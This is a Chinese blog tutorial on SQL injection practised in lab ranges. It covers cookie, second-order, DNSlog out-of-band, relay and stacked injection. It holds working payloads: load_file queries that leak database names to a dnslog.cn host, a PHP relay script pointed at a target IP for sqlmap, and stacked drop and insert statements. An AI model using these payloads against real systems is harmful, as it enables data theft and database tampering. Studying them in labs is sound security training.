(17)网络安全:cookie注入、二次注入、DNSlog注入、中转注入、堆叠注入的原理及注入过程

目录

cookie注入

sqli-lasb-master less-21

方法一:用burpsuite进行抓包后修改

方法二:安装火狐的cookie manager等插件进行修改cookie

第一步:先将注入语句转换为base64加密后密文

第二步: 将加密后密文填到cookie  value里并保存

第三步:刷新页面,使cookie重新加载

二次注入

原理:

不同点:        

二次注入的过程:

第一步:构造恶意语句

第二步:插入恶意数据

第三步:第二次构造语句,引用恶意数据

sqli-labs-master less-24

第一步:构造一个带转义字符的语句

第二步:通过注册新用户,将语句注入数据库

第三步:二次注入调用数据库中转义语句

DNSlog注入

DNSlog平台:

DNSlog注入原理

前提条件:

如何查看:

如何设置:

相关函数:

UNC路径

DNSlog注入

第一步:Get SubDomain  获得域名

第二步:构造注入语句

DNSlongsqlinj工具的使用

中转注入

中转注入介绍:

中转注入墨者靶场:

第一步:在本地利用phpstudy搭建一个网站,并写文件a.php

第二步:访问本地文件a.php就相当于访问墨者靶场环境

第三步:利用sqlmap对本地网站进行扫描攻击,相当于在扫描墨者靶场环境

堆叠注入:

原理:

使用情况分析:

使用MySQL分析堆叠注入:

第一步:使用堆叠查询构造多条语句

第二步:查看语句是否成功执行

第三步:删除test,再查询

 第四步:执行其它查询语句


img

cookie注入

sqli-lasb-master less-21

用admin登录进去,可以看出这是cookie注入,value一看就是加密过

YWRtaW4%3D 中的%3D 对应URL码中的 =

一般get和post的参数采用base64等加密方式将数据进行加密,再通过参数传递给服务器

----->YWRtaW4= ---------> admin

方法一:用burpsuite进行抓包后修改

方法二:安装火狐的cookie manager等插件进行修改cookie

第一步:先将注入语句转换为base64加密后密文

第二步: 将加密后密文填到cookie  value里并保存

第三步:刷新页面,使cookie重新加载

二次注入

原理:

攻击者构造恶意的数据并存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

即输入恶意的数据库查询语句时会被转义,但在数据库调用读取语句时又被还原导致语句执行。

不同点:        

无法通过扫描工具或者手工测试出来,二次注入一般在审计代码过程中发现

从前端或黑盒测试无法看到

二次注入的过程:

第一步:构造恶意语句

语句含有被转义字符的恶意查询语句

第二步:插入恶意数据


进行数据库插入数据时,对其中特殊字符进行了转义处理,在写入数据库时保留了原来的数据。

第三步:第二次构造语句,引用恶意数据


开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出构造的恶意数据,没有进行进一步的检验

sqli-labs-master less-24

第一步:构造一个带转义字符的语句

注册账户:admin'#

密码:123456

第二步:通过注册新用户,将语句注入数据库

第三步:二次注入调用数据库中转义语句

登录进去后,此时更改admin'#密码

相当于:

update password=$new where username=admin'#

(admin后引号对前面的单引号进行了闭合,#注释掉了后面的语句,就相当于对admin进行了改密)

DNSlog注入

DNSlog平台:

http://www.dnslog.cn

http://ceye.io

http://admin.dnslog.link

DNSlog注入原理

dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据

在无法通过联合查询直接获取数据时,只能通过盲注,来一步步的获取数据,手工测试是需要花费大量的时间,使用sqlmap直接去跑出数据,但是有很大的几率,网站把ip给封掉,这就影响了测试进度

前提条件:

dns带外查询属于MySQL注入

在MySQL中有个系统属性,secure_file_priv特性,有三种状态

secure_file_priv为null    表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制

如何查看:

手动打开数据库,新版phpstudy启动MySQL命令符图解过程_黑色地带(崛起)的博客-CSDN博客

是否配置好,打开数据库

 因为我的secure_file_priv设置过,所以没有任何限制

如何设置:

打开MySQL文件夹,打开my.ini配置文件

把这里改为空,如果没有这一段代码,则手动加上去

然后重启数据库 

相关函数:

LOAD_FILE()函数

读取一个文件并将其内容作为字符串返回

语法:load_file(文件的完整路径)

此函数使用需要满足的条件

文件必须位于服务器主机上,具有该FILE权限才能读取该文件,拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关,并且它的大小小于max_allowed_packet字节

UNC路径

格式为

\\servername\sharename\……

 servername 是服务器名,sharename 是共享资源的名称

DNSlog注入

第一步:Get SubDomain  获得域名

第二步:构造注入语句

(根据实际情况构造)

  select load_file(concat('//',(select database()),'.casro0.dnslog.cn/abc'))

  select load_file(concat('\\\\',(select database()),'.casro0.dnslog.cn\\123'))

load_file()函数访问的是文件,所以域名后面需要添加/abc

成功注入后,在数据库中运行

第三步:查看域名头部,带出了查询的信息

注意:外带信息有特殊字符,如@

可以将查询语句后的结果进行转码

即上面的(select database())-------->hex(select database())等形式

DNSlongsqlinj工具的使用

ADOOO/DnslogSqlinj (github.com)

中转注入

中转注入介绍:

网站URL注入点是经过编码的,不能直接结合sqlmap进行漏洞利用,所以本地搭建一个网站,写一个php脚本编码文件,就可以结合sqlmap工具进行测试。因为,注入点经过复杂编码之后,就不能直接结合sqlmap进行漏洞攻击。或者sqlmap自己编写tamper脚本进行攻击

中转注入墨者靶场:

 可以看出URL是通过base加密过的

第一步:在本地利用phpstudy搭建一个网站,并写文件a.php

<?php 
$id = base64_encode($_GET['id']);
echo file_get_contents("http://219.153.49.228:46221/show.php?id=$id");
?>

或者

<?php
$url='http://www.xxx.com/?id=';
$playload=base64_decode($_GET['x']);
$urls=$url.$playload;
file_get_contents($urls);
?>

第二步:访问本地文件a.php就相当于访问墨者靶场环境

第三步:利用sqlmap对本地网站进行扫描攻击,相当于在扫描墨者靶场环境

堆叠注入:

原理:

就是将语句堆叠在一起进行查询,即可以执行多条SQL语句,语句之间以分号(;)隔开,其注入攻击就是利用此特点,在第二条语句中构造自己要执行的恶意语句。

利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行

使用情况分析:

?id=1

?id=1'          

?id=1'%23  (%23代表#)

(?id=1返回正常,  ?id=1'返回错误,  ?id=1'%23返回正常)

则考虑使用boolean注入、时间盲注、堆叠注入

使用MySQL分析堆叠注入:

第一步:使用堆叠查询构造多条语句

 select * from users where id=1;create table test like users; 

第二步:查看语句是否成功执行

show tables;

第三步:删除test,再查询

select * from users where id=1;drop table test;

show tables;

(被成功执行了)

 

 

 第四步:执行其它查询语句

查数据库当前用户,版本

select * from user where id=1;select 1,user(),database();

 

加载文件

select * from user where id=1;select load_file('文件路径');

修改数据

select * from user where id=1;insert into user(username,password) values ('好好学习','123456');

Spring Boot 是基于 Spring 框架构建的,它可以通过自动配置和约定大于配置的方式来轻松创建独立的、生产级别的 Spring 应用程序。然而,Spring Boot 也存在 SQL 注入的风险,因此我们需要掌握相应的防范措施。 SQL 注入漏洞是指黑客利用合法的 SQL 查询接口,向应用程序的后台数据库发送针对数据库的攻击字符串,获取数据库的机密信息或通过修改数据库来破坏系统的安全性。在 Spring Boot 中,SQL 注入漏洞通常出现在动态拼接 SQL 语句的场景中,如使用 JdbcTemplate 进行数据库操作或通过 MyBatis 操作数据库时,如果不做正确的防范,就很容易发生 SQL 注入漏洞。 为了避免 SQL 注入漏洞的问题,我们可以采取以下措施: 1. 使用预处理语句:建议使用预处理语句,这样可以将传入的参数当做参数来处理,而不是当做 SQL 语句的一部分来处理。预处理语句可以有效地解决 SQL 注入问题,也可以提高应用程序的性能。 2. 使用参数中转:使用参数中转可以将直接拼接 SQL 语句的方式改为将参数值插入到预定义的 SQL 语句当中,从而避免 SQL 注入漏洞的风险。 3. 遵循安全编码规范:在进行开发工作时,应该遵循安全编码规范,对输入参数进行合理的检查和过滤,确保不会将恶意的输入传递给后台 SQL 语句。 总而言之,为了防范 SQL 注入漏洞,我们需要采取多种措施,如使用预处理语句、使用参数中转和遵循安全编码规范等,以确保应用程序的安全性。同时,开发人员也要不断学习新的安全技术和解决方案,提高系统的安全性和鲁棒性。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值